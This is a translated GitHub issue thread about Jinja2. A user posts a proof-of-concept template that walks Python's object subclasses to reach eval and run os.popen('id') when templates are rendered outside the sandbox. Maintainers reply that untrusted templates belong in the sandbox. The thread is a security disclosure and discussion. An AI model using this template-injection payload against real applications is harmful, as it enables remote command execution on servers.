Jinja: 在没有沙箱环境的模板中执行任意代码。

创建于 2016-02-23  ·  6评论  ·  资料来源: pallets/jinja

当我在我的项目中使用 Jinja2 模板框架时,我找到了一种调用“os.popen('id')”或其他没有全局寄存器的函数的方法。
当攻击者可以控制模板内容时,很容易获得shell。 是这样的设计吗?

概念验证:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

我用 python2 (2.7.10) 和 Jinja2 (2.8) 测试了这段代码,如果它有效将打印你用户的 uid...

最有用的评论

您不应在非沙盒环境中执行不受信任的模板。 这正是沙箱存在的原因(老实说,即使使用沙箱,我也不会让用户提供任意的 Jinja 模板)

所有6条评论

您不应在非沙盒环境中执行不受信任的模板。 这正是沙箱存在的原因(老实说,即使使用沙箱,我也不会让用户提供任意的 Jinja 模板)

那么,是否有必要采取措施防止这种情况发生? 我认为有一些特定的应用程序会允许用户编辑模板内容,但没有实际示例。

我认为默认使用沙箱是有必要的,因为flask或其他使用Jinja2的Web框架不会这样做。

为什么要默认使用沙箱? 在大多数情况下,无论如何都无法访问代码的不受信任的人无法更改模板。

Uber 中有一个通过 Flask/Jinja2 模板注入远程执行代码的案例。
链接: http :

由于向后兼容,默认情况下启用沙箱是不可能的,而且也不合理,因为大多数模板(在 Flask 中)是可信的。

此页面是否有帮助?
0 / 5 - 0 等级